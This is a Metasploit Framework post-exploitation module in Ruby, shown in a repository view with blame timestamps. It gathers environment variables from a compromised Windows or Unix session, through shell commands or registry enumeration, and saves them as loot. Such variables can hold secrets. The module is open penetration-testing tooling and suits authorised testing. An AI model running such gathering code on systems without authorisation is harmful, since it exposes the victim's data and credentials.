metasploit-framework/modules/post/multi/gather/env.rb

72 lines
2.1 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
2013-08-30 21:28:54 +00:00
include Msf::Post::Windows::Registry
2013-08-30 21:28:54 +00:00
def initialize(info={})
super( update_info( info,
'Name' => 'Multi Gather Generic Operating System Environment Settings',
'Description' => %q{ This module prints out the operating system environment variables },
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', 'egypt' ],
'Platform' => %w{ linux win },
2013-08-30 21:28:54 +00:00
'SessionTypes' => [ 'shell', 'meterpreter' ]
))
@ltype = 'generic.environment'
end
2013-08-30 21:28:54 +00:00
def run
case session.type
when "shell"
get_env_shell
when "meterpreter"
get_env_meterpreter
end
store_loot(@ltype, "text/plain", session, @output) if @output
print_line @output if @output
end
2013-08-30 21:28:54 +00:00
def get_env_shell
print_line @output if @output
if session.platform =~ /win/
@ltype = "windows.environment"
cmd = "set"
else
@ltype = "unix.environment"
cmd = "env"
end
@output = session.shell_command_token(cmd)
end
2013-08-30 21:28:54 +00:00
def get_env_meterpreter
case sysinfo["OS"]
when /windows/i
var_names = []
var_names << registry_enumvals("HKEY_CURRENT_USER\\Volatile Environment")
var_names << registry_enumvals("HKEY_CURRENT_USER\\Environment")
var_names << registry_enumvals("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment")
output = []
var_names.delete(nil)
session.sys.config.getenvs(*var_names.flatten.uniq.sort).each do |k, v|
output << "#{k}=#{v}"
2013-08-30 21:28:54 +00:00
end
@output = output.join("\n")
@ltype = "windows.environment"
else
# Don't know what it is, hope it's unix
print_status sysinfo["OS"]
chan = session.sys.process.execute("/bin/sh", "-c env", {"Channelized" => true})
@output = chan.read
@ltype = "unix.environment"
end
end
end